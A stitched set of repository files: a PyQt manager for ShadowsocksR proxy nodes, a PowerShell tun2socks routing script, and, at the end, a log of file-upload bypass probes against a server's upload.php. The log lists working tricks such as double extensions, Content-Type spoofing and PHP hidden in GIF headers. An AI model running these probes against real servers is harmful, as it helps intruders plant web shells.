destinationChild -= 1
self._nodes.insert(destinationChild, node)
self.endMoveRows()
return True
# 工具方法
def node(self, row: int) -> Optional[Node]:
return self._nodes[row] if 0 <= row < len(self._nodes) else None
def nodes(self) -> List[Node]:
return self._nodes
# ------------------------------ 主题 / 样式 ------------------------------ #
def apply_theme(app: QApplication, theme: str = "light") -> None:
"""应用明亮/暗黑主题QPalette + QSS 细化)。"""
palette = QPalette()
if theme == "dark":
palette.setColor(QPalette.Window, QColor("#111827"))
palette.setColor(QPalette.Base, QColor("#0b1220"))
palette.setColor(QPalette.AlternateBase, QColor("#111827"))
palette.setColor(QPalette.Text, QColor("#e5e7eb"))
palette.setColor(QPalette.WindowText, QColor("#e5e7eb"))
palette.setColor(QPalette.Button, QColor("#1f2937"))
palette.setColor(QPalette.ButtonText, QColor("#f3f4f6"))
palette.setColor(QPalette.Highlight, QColor("#4f46e5"))
palette.setColor(QPalette.HighlightedText, QColor("#ffffff"))
else:
palette = app.palette() # 使用系统/默认浅色
palette.setColor(QPalette.Highlight, QColor("#4f46e5"))
palette.setColor(QPalette.HighlightedText, QColor("#ffffff"))
app.setPalette(palette)
# 统一圆角、边框与控件间距(轻量级 QSS
app.setStyleSheet("""
QWidget { font-size: 12pt; }
QLineEdit, QTextEdit, QListView, QSpinBox { border: 1px solid #cbd5e1; border-radius: 8px; padding: 6px; }
QPushButton { border-radius: 8px; padding: 8px 12px; }
QPushButton:disabled { opacity: .6; }
QToolBar { spacing: 8px; padding: 6px; }
QStatusBar { padding: 4px; }
QGroupBox { border: 1px solid #e5e7eb; border-radius: 10px; margin-top: 10px; }
QGroupBox::title { subcontrol-origin: margin; left: 12px; padding: 0 4px; }
""")
# ------------------------------ Toast 提示 ------------------------------ #
class Toast(QWidget):
"""右下角浮动提示。"""
def __init__(self, parent: QWidget, text: str) -> None:
super().__init__(parent)
self.setWindowFlags(Qt.ToolTip | Qt.FramelessWindowHint)
self.setAttribute(Qt.WA_TransparentForMouseEvents)
self.label = QLabel(text, self)
self.label.setStyleSheet("QLabel { background: rgba(0,0,0,0.75); color: white; padding: 8px 12px; border-radius: 8px; }")
self.anim = QPropertyAnimation(self, b"windowOpacity", self)
self.anim.setDuration(1600)
self.anim.setStartValue(0.0)
self.anim.setKeyValueAt(0.1, 1.0)
self.anim.setEndValue(0.0)
self.anim.setEasingCurve(QEasingCurve.InOutQuad)
self.anim.finished.connect(self.close)
def showEvent(self, _e) -> None: # noqa: N802
self.resize(self.label.sizeHint())
parent = self.parentWidget()
if parent:
geo = parent.geometry()
self.move(geo.right() - self.width() - 24, geo.bottom() - self.height() - 24)
self.anim.start()
def show_toast(parent: QWidget, text: str) -> None:
Toast(parent, text).show()
# ------------------------------ 主窗口 UI ------------------------------ #
class MainWindow(QMainWindow):
"""主窗口:工具栏 + 分栏 + 选项卡 + 状态栏。"""
def __init__(self) -> None:
super().__init__()
self.setWindowTitle(APP_NAME)
if sys.platform.startswith("win"):
self.setWindowIcon(QIcon())
self.proc: Optional[QProcess] = None
self.latency_threads: List[LatencyWorker] = []
self.cfg = self._load_config()
# 主题
apply_theme(QApplication.instance(), self.cfg.theme)
# 中心分栏
splitter = QSplitter(self)
splitter.setChildrenCollapsible(False)
self.setCentralWidget(splitter)
# 左侧:搜索 + 列表 + 按钮
left = QWidget()
lv = QVBoxLayout(left)
self.edit_search = QLineEdit(placeholderText="搜索节点名 / IP …")
self.edit_search.setClearButtonEnabled(True)
lv.addWidget(self.edit_search)
self.model = NodeListModel(self.cfg.nodes)
self.proxy = QSortFilterProxyModel(self)
self.proxy.setSourceModel(self.model)
self.proxy.setFilterCaseSensitivity(Qt.CaseInsensitive)
self.proxy.setFilterRegularExpression(QRegularExpression(".*"))
self.list = QListView()
self.list.setModel(self.proxy)
self.list.setSelectionMode(QListView.SingleSelection)
self.list.setDragDropMode(QListView.InternalMove)
self.list.setEditTriggers(QListView.EditTrigger.EditKeyPressed | QListView.EditTrigger.SelectedClicked)
lv.addWidget(self.list, 1)
btn_row = QHBoxLayout()
self.btn_add = QPushButton("新增")
self.btn_import = QPushButton("导入")
self.btn_delete = QPushButton("删除")
self.btn_test = QPushButton("测速")
self.btn_test_all = QPushButton("全部测速")
for b in (self.btn_add, self.btn_import, self.btn_delete, self.btn_test, self.btn_test_all):
btn_row.addWidget(b)
lv.addLayout(btn_row)
splitter.addWidget(left)
# 右侧Tab节点 / 全局 / 日志)
right = QTabWidget()
splitter.addWidget(right)
splitter.setStretchFactor(0, 3)
splitter.setStretchFactor(1, 5)
# 节点表单
tab_node = QWidget()
form = QFormLayout(tab_node)
self.edit_name = QLineEdit()
self.edit_host = QLineEdit()
self.spin_port = QSpinBox(); self.spin_port.setRange(1, 65535)
self.spin_port.setButtonSymbols(QAbstractSpinBox.NoButtons) # 直接去掉上下按钮
self.edit_password = QLineEdit(); self.edit_password.setEchoMode(QLineEdit.Password)
self.edit_mx = QLineEdit()
form.addRow("名称", self.edit_name)
form.addRow("远端IP/域名", self.edit_host)
form.addRow("端口", self.spin_port)
form.addRow("密码", self.edit_password)
form.addRow("mx_head_str", self.edit_mx)
right.addTab(tab_node, "节点")
# 全局设置
tab_global = QWidget()
fg = QFormLayout(tab_global)
self.edit_script = QLineEdit()
hb = QHBoxLayout()
btn_browse = QPushButton("浏览…")
hb.addWidget(self.edit_script, 1)
hb.addWidget(btn_browse)
fg.addRow("核心可执行/脚本", hb)
self.edit_listen_host = QLineEdit()
self.spin_listen_port = QSpinBox(); self.spin_listen_port.setRange(1, 65535)
self.spin_listen_port.setButtonSymbols(QAbstractSpinBox.NoButtons)
self.edit_log = QLineEdit(placeholderText="DEBUG/INFO/WARNING/ERROR")
self.edit_test_url = QLineEdit(DEFAULT_TEST_URL)
fg.addRow("本地监听IP", self.edit_listen_host)
fg.addRow("端口", self.spin_listen_port)
fg.addRow("日志级别", self.edit_log)
fg.addRow("测速 URL", self.edit_test_url)
hb2 = QHBoxLayout()
self.btn_open_config = QPushButton("打开配置文件夹")
self.btn_export = QPushButton("导出节点…")
self.btn_theme = QPushButton("切换主题")
hb2.addWidget(self.btn_open_config)
hb2.addWidget(self.btn_export)
hb2.addWidget(self.btn_theme)
fg.addRow(hb2)
right.addTab(tab_global, "全局")
# 日志
tab_log = QWidget()
vl = QVBoxLayout(tab_log)
self.text_log = QTextEdit(readOnly=True)
hb3 = QHBoxLayout()
self.btn_clear_log = QPushButton("清空日志")
self.btn_copy_log = QPushButton("复制全部")
hb3.addWidget(self.btn_clear_log)
hb3.addWidget(self.btn_copy_log)
hb3.addStretch(1)
vl.addWidget(self.text_log, 1)
vl.addLayout(hb3)
right.addTab(tab_log, "日志")
# 工具栏
tb = QToolBar("工具")
self.addToolBar(tb)
act_start = QAction(self.style().standardIcon(QStyle.SP_MediaPlay), "启动", self)
act_stop = QAction(self.style().standardIcon(QStyle.SP_MediaStop), "停止", self)
act_import_clip = QAction(self.style().standardIcon(QStyle.SP_DialogOpenButton), "从剪贴板导入", self)
act_save_node = QAction(self.style().standardIcon(QStyle.SP_DialogSaveButton), "保存节点", self)
act_theme = QAction("主题", self)
act_theme.setShortcut(QKeySequence("Ctrl+T"))
for a in (act_start, act_stop, act_import_clip, act_save_node, act_theme):
tb.addAction(a)
# 状态栏
sb = QStatusBar()
self.setStatusBar(sb)
# 右键菜单(列表)
self.list.setContextMenuPolicy(Qt.CustomContextMenu)
self.list.customContextMenuRequested.connect(self._open_ctx_menu)
# 绑定信号
self.list.selectionModel().currentChanged.connect(self._on_select_changed)
self.edit_search.textChanged.connect(self._apply_filter)
self.btn_add.clicked.connect(self._add_node)
self.btn_delete.clicked.connect(self._delete_node)
self.btn_import.clicked.connect(self._import_links_dialog)
self.btn_test.clicked.connect(self._test_selected)
self.btn_test_all.clicked.connect(self._test_all)
btn_browse.clicked.connect(self._browse_script)
self.btn_open_config.clicked.connect(lambda: os.startfile(CONFIG_FILE.parent) if sys.platform.startswith("win") else os.system(f'open "{CONFIG_FILE.parent}"' if sys.platform == "darwin" else f'xdg-open "{CONFIG_FILE.parent}"'))
self.btn_export.clicked.connect(self._export_nodes)
self.btn_theme.clicked.connect(self._toggle_theme)
self.btn_clear_log.clicked.connect(lambda: self.text_log.clear())
self.btn_copy_log.clicked.connect(self._copy_logs)
act_start.triggered.connect(self.start_process)
act_stop.triggered.connect(self.stop_process)
act_import_clip.triggered.connect(self._import_from_clipboard)
act_save_node.triggered.connect(self._save_node_from_form)
act_theme.triggered.connect(self._toggle_theme)
# 初始化数据到表单 & 选中项
self._refresh_list_selection()
self._load_selected_to_form()
self._update_buttons()
# ---------------------------- 配置读写 ---------------------------- #
def _load_config(self) -> LaunchConfig:
"""加载配置,兼容旧版结构。"""
if CONFIG_FILE.exists():
try:
data = json.loads(CONFIG_FILE.read_text(encoding="utf-8"))
if "nodes" in data:
nodes = [Node(**n) for n in data["nodes"]]
return LaunchConfig(
script_path=data.get("script_path", _default_script_path()),
nodes=nodes,
selected=int(data.get("selected", 0)),
listen_host=data.get("listen_host", "127.0.0.1"),
listen_port=int(data.get("listen_port", 1080)),
log_level=data.get("log_level", "INFO"),
theme=data.get("theme", "light"),
)
# 旧格式迁移
node = Node(
name=f"{data.get('remote_host','127.0.0.1')}:{int(data.get('remote_port',8388))}",
server=data.get("remote_host", "127.0.0.1"),
port=int(data.get("remote_port", 8388)),
password=data.get("password", "secret123"),
mx=data.get("mx_head_str", "HELLO"),
)
return LaunchConfig(
script_path=data.get("script_path", _default_script_path()),
nodes=[node],
selected=0,
listen_host=data.get("listen_host", "127.0.0.1"),
listen_port=int(data.get("listen_port", 1080)),
log_level=data.get("log_level", "INFO"),
)
except Exception:
pass
# 默认
return LaunchConfig(
script_path=_default_script_path(),
nodes=[Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO")],
selected=0,
)
def _save_all(self) -> None:
data = asdict(self.cfg)
# dataclass 内含 Node 对象,需转换
data["nodes"] = [asdict(n) for n in self.cfg.nodes]
CONFIG_FILE.parent.mkdir(parents=True, exist_ok=True)
CONFIG_FILE.write_text(json.dumps(data, ensure_ascii=False, indent=2), encoding="utf-8")
self.statusBar().showMessage(f"配置已保存:{CONFIG_FILE}", 3000)
# ---------------------------- 列表/选择/过滤 ---------------------------- #
def _apply_filter(self, text: str) -> None:
self.proxy.setFilterRegularExpression(QRegularExpression(text if text else ".*"))
def _refresh_list_selection(self) -> None:
row = max(0, min(self.cfg.selected, len(self.cfg.nodes) - 1))
idx = self.proxy.index(row, 0)
if idx.isValid():
self.list.setCurrentIndex(idx)
def _current_row_src(self) -> int:
idx = self.list.currentIndex()
if not idx.isValid():
return -1
return self.proxy.mapToSource(idx).row()
@Slot()
def _on_select_changed(self, current: QModelIndex, _prev: QModelIndex) -> None:
self.cfg.selected = self.proxy.mapToSource(current).row()
self._load_selected_to_form()
# ---------------------------- 节点 CRUD ---------------------------- #
def _add_node(self) -> None:
node = Node(name="new", server="127.0.0.1", port=8388, password="", mx="HELLO")
self.model.insertRow(len(self.cfg.nodes), node)
self.cfg.selected = len(self.cfg.nodes) - 1
self._refresh_list_selection()
self._save_all()
show_toast(self, "已新增节点")
def _delete_node(self) -> None:
row = self._current_row_src()
if row < 0:
return
if QMessageBox.question(self, "确认", "删除当前节点?") != QMessageBox.Yes:
return
self.model.removeRow(row)
self.cfg.selected = max(0, min(row, len(self.cfg.nodes) - 1))
self._refresh_list_selection()
self._save_all()
def _import_links_dialog(self) -> None:
path, _ = QFileDialog.getOpenFileName(self, "选择包含 ss/ssr 链接的文本文件", str(app_base_dir()), "Text (*.txt);;All (*)")
if not path:
return
text = Path(path).read_text(encoding="utf-8", errors="ignore")
self._import_text(text)
def _import_from_clipboard(self) -> None:
text = QApplication.clipboard().text()
if not text:
return
self._import_text(text)
def _import_text(self, text: str) -> None:
count = 0
for line in text.splitlines():
line = line.strip()
if not line:
continue
node = parse_ss_uri(line) or parse_ssr_uri(line)
if node:
self.model.insertRow(len(self.cfg.nodes), node)
count += 1
if count:
self._save_all()
show_toast(self, f"已导入 {count} 个节点")
else:
QMessageBox.information(self, "提示", "未识别到有效的 ss/ssr 链接。")
def _export_nodes(self) -> None:
path, _ = QFileDialog.getSaveFileName(self, "导出节点为 JSON", str(app_base_dir() / "nodes.json"), "JSON (*.json)")
if not path:
return
export = [asdict(n) for n in self.cfg.nodes]
Path(path).write_text(json.dumps(export, ensure_ascii=False, indent=2), encoding="utf-8")
show_toast(self, "导出成功")
# ---------------------------- 表单读写/校验 ---------------------------- #
def _load_selected_to_form(self) -> None:
n = self._current_node()
if not n:
return
self.edit_name.setText(n.name)
self.edit_host.setText(n.server)
self.spin_port.setValue(n.port)
self.edit_password.setText(n.password)
self.edit_mx.setText(n.mx)
self.edit_script.setText(self.cfg.script_path)
self.edit_listen_host.setText(self.cfg.listen_host)
self.spin_listen_port.setValue(self.cfg.listen_port)
self.edit_log.setText(self.cfg.log_level)
if self.edit_test_url.text().strip() == "":
self.edit_test_url.setText(DEFAULT_TEST_URL)
def _save_node_from_form(self) -> None:
n = self._current_node()
if not n:
return
server = self.edit_host.text().strip()
if not server:
QMessageBox.warning(self, "无效参数", "远端地址不能为空")
self.edit_host.setFocus()
return
port = int(self.spin_port.value())
if not (1 <= port <= 65535):
QMessageBox.warning(self, "无效参数", "端口范围 1-65535")
return
n.name = self.edit_name.text().strip() or f"{server}:{port}"
n.server = server
n.port = port
n.password = self.edit_password.text()
n.mx = self.edit_mx.text()
self.cfg.script_path = self.edit_script.text().strip() or _default_script_path()
self.cfg.listen_host = self.edit_listen_host.text().strip() or "127.0.0.1"
self.cfg.listen_port = int(self.spin_listen_port.value())
self.cfg.log_level = self.edit_log.text().strip() or "INFO"
# 测速 URL
url = self.edit_test_url.text().strip()
if url:
# 存到 cfg 以便后续 worker 使用(简单起见直接覆盖 DEFAULT_TEST_URL 的使用点)
global DEFAULT_TEST_URL
DEFAULT_TEST_URL = url
self.model.dataChanged.emit(QModelIndex(), QModelIndex())
self._save_all()
show_toast(self, "节点已保存")
def _current_node(self) -> Optional[Node]:
row = self._current_row_src()
return self.cfg.nodes[row] if 0 <= row < len(self.cfg.nodes) else None
# ---------------------------- 运行/日志/测速 ---------------------------- #
def _update_buttons(self) -> None:
running = self.proc is not None
self.findChild(QAction, "启动") # 保留接口(如需)
# 启停按钮在工具栏,由 slot 控制状态;此处仅示例保留
def start_process(self) -> None:
"""启动核心进程。"""
n = self._current_node()
if not n:
return
self._save_node_from_form()
args = [
"--remote-host", n.server,
"--remote-port", str(n.port),
"--password", n.password,
"--mx", n.mx,
"--listen", self.cfg.listen_host,
"--port", str(self.cfg.listen_port),
"--log", self.cfg.log_level,
]
prog, prog_args = self._program_and_args(args)
self._append_log(f"启动: {prog} {' '.join(prog_args)}")
self.proc = QProcess(self)
self.proc.setProcessChannelMode(QProcess.MergedChannels)
self.proc.setReadChannel(QProcess.StandardOutput)
self.proc.setWorkingDirectory(str(Path(prog).parent))
self.proc.setProgram(prog)
self.proc.setArguments(prog_args)
self.proc.readyReadStandardOutput.connect(self._read_stdout)
self.proc.finished.connect(self._on_finished)
self.proc.start()
self.statusBar().showMessage("核心进程已启动", 2000)
def stop_process(self) -> None:
if not self.proc:
return
self.proc.terminate()
if not self.proc.waitForFinished(3000):
self.proc.kill()
self.proc.waitForFinished(2000)
self.proc = None
self._append_log("已停止。")
self.statusBar().showMessage("核心进程已停止", 2000)
def _read_stdout(self) -> None:
if not self.proc:
return
text = self.proc.readAllStandardOutput().data().decode("utf-8", errors="replace")
self.text_log.moveCursor(QTextCursor.End)
self.text_log.insertPlainText(text)
self.text_log.moveCursor(QTextCursor.End)
def _on_finished(self, code: int, _status) -> None:
self._append_log(f"进程退出code={code}\n")
self.proc = None
def _program_and_args(self, base_args: List[str]) -> Tuple[str, List[str]]:
p = Path(self.cfg.script_path)
if not p.is_absolute():
p = (app_base_dir() / p).resolve()
ext = p.suffix.lower()
if ext in (".exe", ".bat", ".cmd"):
return str(p), base_args
if ext in (".py", ""):
return sys.executable, [str(p), *base_args]
return str(p), base_args
def _test_selected(self) -> None:
row = self._current_row_src()
if row < 0:
return
self._test_nodes([row])
def _test_all(self) -> None:
self._test_nodes(list(range(len(self.cfg.nodes))))
def _test_nodes(self, indices: List[int]) -> None:
# 清理已结束线程
self.latency_threads = [t for t in self.latency_threads if t.isRunning()]
if any(t.isRunning() for t in self.latency_threads):
QMessageBox.information(self, "提示", "已有测速任务在进行中。")
return
for i in indices:
n = self.cfg.nodes[i]
n.last_latency_ms = -2.0 # 测速中
self.model.dataChanged.emit(self.model.index(i, 0), self.model.index(i, 0), [Qt.DisplayRole])
worker = LatencyWorker(i, n, self.cfg.script_path, self.cfg.log_level, DEFAULT_TEST_URL)
worker.result.connect(self._on_latency_result)
worker.start()
self.latency_threads.append(worker)
def _on_latency_result(self, index: int, ms: float, msg: str) -> None:
n = self.cfg.nodes[index]
n.last_latency_ms = ms
n.last_msg = msg
self.model.dataChanged.emit(self.model.index(index, 0), self.model.index(index, 0), [Qt.DisplayRole, Qt.ForegroundRole])
status = f"{n.name}: {('失败 ' + msg) if ms < 0 else f'{ms:.1f} ms'}"
self.statusBar().showMessage(status, 4000)
# ---------------------------- UI 杂项 ---------------------------- #
def _browse_script(self) -> None:
path, _ = QFileDialog.getOpenFileName(self, "选择核心(可执行/脚本)", str(app_base_dir()),
"Executable (*.exe);;Python (*.py);;All (*)")
if path:
self.edit_script.setText(path)
def _open_ctx_menu(self, pos) -> None:
idx = self.list.indexAt(pos)
if not idx.isValid():
return
src_row = self.proxy.mapToSource(idx).row()
n = self.cfg.nodes[src_row]
menu = QMenu(self)
act_rename = menu.addAction("重命名")
act_duplicate = menu.addAction("复制一份")
act_copy_ss = menu.addAction("复制为 ss://")
act_export = menu.addAction("导出该节点…")
act = menu.exec_(self.list.mapToGlobal(pos))
if act == act_rename:
self.list.edit(idx)
elif act == act_duplicate:
clone = Node(**asdict(n))
clone.name = clone.name + " (copy)"
self.model.insertRow(src_row + 1, clone)
self._save_all()
elif act == act_copy_ss:
ss = f"ss://{n.password}@{n.server}:{n.port}#{n.name}"
QApplication.clipboard().setText(ss)
show_toast(self, "ss:// 已复制")
elif act == act_export:
path, _ = QFileDialog.getSaveFileName(self, "导出节点", f"{n.name}.json", "JSON (*.json)")
if path:
Path(path).write_text(json.dumps(asdict(n), ensure_ascii=False, indent=2), encoding="utf-8")
show_toast(self, "导出成功")
def _toggle_theme(self) -> None:
self.cfg.theme = "dark" if self.cfg.theme == "light" else "light"
apply_theme(QApplication.instance(), self.cfg.theme)
self._save_all()
def _copy_logs(self) -> None:
QApplication.clipboard().setText(self.text_log.toPlainText())
show_toast(self, "日志已复制")
def _append_log(self, line: str) -> None:
self.text_log.append(line)
self.text_log.moveCursor(QTextCursor.End)
def closeEvent(self, event) -> None: # noqa: N802
try:
self.stop_process()
self._save_all()
except Exception:
pass
try:
for t in self.latency_threads:
t.terminate()
except Exception:
pass
event.accept()
def main() -> None:
app = QApplication(sys.argv)
win = MainWindow()
win.resize(1100, 700)
win.show()
sys.exit(app.exec())
if __name__ == "__main__":
main()

4613
python/t_shadowsocksr.json Normal file

File diff suppressed because it is too large Load Diff

203
python/tun.ps1 Normal file
View File

@ -0,0 +1,203 @@
#Requires -RunAsAdministrator
[CmdletBinding()]
param(
[switch]$Stop,
[string]$Socks = "127.0.0.1:59999",
[string[]]$Direct = @("117.143.9.6"),
[string]$Dns = "127.0.0.1",
[switch]$EnableDoH # 可选:为 $Dns 启用 DoHWin11+
)
# --- 全局设置 ---
$ErrorActionPreference = "Stop"
$TunIP = "192.168.123.1"
$TunMask = "255.255.255.0"
$State = Join-Path $PSScriptRoot ".wintun-state.json"
# --- 常量:防火墙规则名 ---
$FwNames = @(
"Block NonTUN DNS TCPv4",
"Block NonTUN DNS UDPv4",
"Block NonTUN DNS TCPv6",
"Block NonTUN DNS UDPv6"
)
function Get-Uplink {
<#
选一个物理上行默认路由优先排除虚拟网卡
Returns: [pscustomobject] @{ Alias; Index; Gateway }
#>
$bad = "wintun|wireguard|tap|vEthernet|Hyper-V|VirtualBox|VMware|Npcap|Loopback|Docker|Tailscale|ZeroTier|Hamachi"
$routes = Get-NetRoute -DestinationPrefix "0.0.0.0/0" -AddressFamily IPv4 |
Sort-Object RouteMetric, InterfaceMetric
foreach ($r in $routes) {
$if = Get-NetIPInterface -InterfaceIndex $r.InterfaceIndex -ErrorAction SilentlyContinue |
Where-Object { $_.AddressFamily -eq 2 } # 2 means IPv4
if ($null -ne $if -and ($if.InterfaceAlias -notmatch $bad)) {
return [pscustomobject]@{ Alias = $if.InterfaceAlias; Index = $if.InterfaceIndex; Gateway = $r.NextHop }
}
}
throw "No physical uplink found."
}
function Remove-DnsEnforcement {
<#
清理NRPT + 防火墙规则
#>
try {
Get-DnsClientNrptRule -ErrorAction SilentlyContinue |
Where-Object { $_.Namespace -eq "." } |
Remove-DnsClientNrptRule -ErrorAction SilentlyContinue -Force | Out-Null
} catch {}
foreach ($n in $FwNames) {
Get-NetFirewallRule -DisplayName $n -ErrorAction SilentlyContinue | Remove-NetFirewallRule -ErrorAction SilentlyContinue
}
}
function Apply-DnsEnforcement {
param(
[Parameter(Mandatory=$true)][string[]]$DnsServers,
[Parameter(Mandatory=$true)][int]$TunIfIndex
)
<#
强制 DNS
1) NRPT "." 指向 $DnsServers
2) (已禁用) 封非 TUN 53 (TCP/UDP, v4/v6)
#>
# 清理旧 NRPT
Remove-DnsEnforcement
# NRPT所有域名都走指定 DNS
Add-DnsClientNrptRule -Namespace "." -NameServers $DnsServers -Comment "Force all DNS via TUN" | Out-Null
# --- 防火墙规则部分已移除,以解决兼容性问题 ---
}
function Enable-DoHIfRequested {
param(
[Parameter(Mandatory=$true)][string]$Server
)
<#
为指定 IPv4 DNS 启用 DoHWin11+失败时静默跳过
#>
if (-not $EnableDoH) { return }
if ($Server -match '^\d{1,3}(\.\d{1-3}){3}$') {
try {
# Cloudflare 模板示例;如换 DNS请替换模板
netsh dns add encryption server=$Server dohtemplate=https://cloudflare-dns.com/dns-query autoupgrade=yes udpfallback=no | Out-Null
} catch {}
}
}
function Start-Tun {
<#
启动 tun2socks创建 TUN设置地址与 DNS 强制策略添加默认路由与直连例外
#>
$t2s = Join-Path $PSScriptRoot "tun2socks.exe"
$dll = Join-Path $PSScriptRoot "wintun.dll"
if (-not (Test-Path $t2s)) { throw "Missing tun2socks.exe" }
if (-not (Test-Path $dll)) { throw "Missing wintun.dll (same folder as script)" }
# 先清掉历史 tun2socks
Get-Process tun2socks -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
$uplink = Get-Uplink
Write-Host ("Uplink: {0} Gateway: {1}" -f $uplink.Alias, $uplink.Gateway)
$before = (Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 }).InterfaceIndex
# 启动 tun2socks
Start-Process -FilePath $t2s -ArgumentList @(
"-device","wintun",
"-proxy",("socks5://{0}" -f $Socks),
"-interface",$uplink.Alias
) -WindowStyle Hidden | Out-Null
# 识别新出现的 TUN 接口
$tun = $null
for ($i=0; $i -lt 60; $i++) {
Start-Sleep -Milliseconds 200
$after = Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 }
$new = $after | Where-Object { $before -notcontains $_.InterfaceIndex }
if ($new) { $tun = $new | Sort-Object InterfaceMetric | Select-Object -First 1; break }
}
if (-not $tun) {
$tun = Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 } |
Where-Object { $_.InterfaceAlias -match "wintun|tun|wireguard" } |
Sort-Object InterfaceMetric | Select-Object -First 1
}
if (-not $tun) { throw "Wintun interface not found." }
# 配置 TUN 地址
netsh interface ipv4 set address name="$($tun.InterfaceAlias)" source=static addr=$TunIP mask=$TunMask
# 设 TUN 的 DNS (使用 netsh 以增强兼容性)
$dnsServers = @($Dns)
netsh interface ipv4 set dnsservers name="$($tun.InterfaceAlias)" static $($dnsServers[0]) primary
# 可选启用 DoH
Enable-DoHIfRequested -Server $Dns
# 强制NRPT + 防火墙
Apply-DnsEnforcement -DnsServers $dnsServers -TunIfIndex $tun.InterfaceIndex
# 把默认路由指向 TUN所有流量含 DNS 都从隧道走)
route -p add 0.0.0.0 mask 0.0.0.0 $TunIP metric 1 if $($tun.InterfaceIndex) | Out-Null
# 直连例外(这些目标直接走物理上行)
foreach ($ip in $Direct) {
route -p add $ip mask 255.255.255.255 $($uplink.Gateway) if $($uplink.Index) metric 5 | Out-Null
}
# 降低 TUN 接口度量 (已注释掉,以解决兼容性问题)
# try { Set-NetIPInterface -InterfaceIndex $tun.InterfaceIndex -InterfaceMetric 5 -ErrorAction SilentlyContinue } catch {}
# 记录状态
@{
TunAlias = $tun.InterfaceAlias
TunIndex = $tun.InterfaceIndex
TunIP = $TunIP
Direct = $Direct
Dns = $dnsServers
} | ConvertTo-Json | Set-Content -Path $State -Encoding UTF8
Write-Host ("TUN ready: {0} -> SOCKS {1}; DNS {2}; direct: {3}" -f $tun.InterfaceAlias, $Socks, ($dnsServers -join ","), ($Direct -join ", ")) -ForegroundColor Green
}
function Stop-Tun {
<#
清理默认路由直连路由NRPT防火墙进程与状态
#>
$tunIPLocal = $TunIP
$directLocal = $Direct
if (Test-Path $State) {
try {
$s = Get-Content $State | ConvertFrom-Json
if ($s.TunIP) { $tunIPLocal = $s.TunIP }
if ($s.Direct) { $directLocal = $s.Direct }
} catch {}
}
# 路由清理
route delete 0.0.0.0 mask 0.0.0.0 $tunIPLocal | Out-Null
foreach ($ip in $directLocal) { route delete $ip | Out-Null }
# 清理 DNS 强制策略
Remove-DnsEnforcement
# 结束进程与状态文件
Get-Process tun2socks -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
Remove-Item $State -ErrorAction SilentlyContinue | Out-Null
Write-Host "Stopped and cleaned routes & DNS policies." -ForegroundColor Yellow
}
# --- 入口 ---
try {
if ($Stop) { Stop-Tun } else { Start-Tun }
} catch {
Write-Host ("Error: {0}" -f $_.Exception.Message) -ForegroundColor Red
exit 1
}

View File

@ -0,0 +1,62 @@
============================================================
[*] 1. 探测文件扩展名
============================================================
[+] Allowed extension: .txt
[结论] 允许的扩展名: .txt
============================================================
[*] 2. 文件名绕过技巧 (基础扩展名: .txt)
============================================================
[+] Filename trick success: 双扩展名1 | shell.php.txt
============================================================
[*] 3. Content-Type 绕过检测 (文件: test.txt)
============================================================
[+] Content-Type bypass: image/jpeg
[+] Content-Type bypass: image/png
[+] Content-Type bypass: image/gif
[+] Content-Type bypass: image/bmp
[+] Content-Type bypass: text/plain
[+] Content-Type bypass: text/html
[+] Content-Type bypass: text/xml
[+] Content-Type bypass: application/octet-stream
[+] Content-Type bypass: application/x-php
[+] Content-Type bypass: application/json
[+] Content-Type bypass: multipart/form-data
[+] Content-Type bypass: application/x-www-form-urlencoded
[+] Content-Type bypass: application/zip
[+] Content-Type bypass: application/pdf
[+] Content-Type bypass: invalid/type
============================================================
[*] 4. 文件内容绕过检测 (扩展名: .txt)
============================================================
[+] Content bypass: 纯文本
[+] Content bypass: GIF文件头
[+] Content bypass: PHP标签
[+] Content bypass: 短标签
[+] Content bypass: GIF+PHP
[+] Content bypass: PHP+GIF
[+] Content bypass: JS脚本
[+] Content bypass: HTML+PHP
[+] Content bypass: Base64编码PHP
[+] Content bypass: UTF-16 BOM + PHP
[+] Content bypass: 注释包裹PHP
[+] Content bypass: 空字节截断内容
[+] Content bypass: 超大文件
============================================================
[*] 5. 请求头与参数绕过检测
============================================================
[+] Header bypass set 1: {'User-Agent': 'Mozilla/5.0'}
[+] Header bypass set 2: {'User-Agent': 'curl/7.68.0'}
[+] Header bypass set 3: {'X-Forwarded-For': '127.0.0.1'}
[+] Header bypass set 5: {'Referer': 'http://123.60.191.166/upload.php'}
[+] Header bypass set 6: {'Authorization': 'Basic dXNlcjpwYXNz'}
[+] Header bypass set 7: {'Cookie': 'sessionid=abc123'}
============================================================
[*] 1. 探测文件扩展名
============================================================
[结论] 未发现允许的扩展名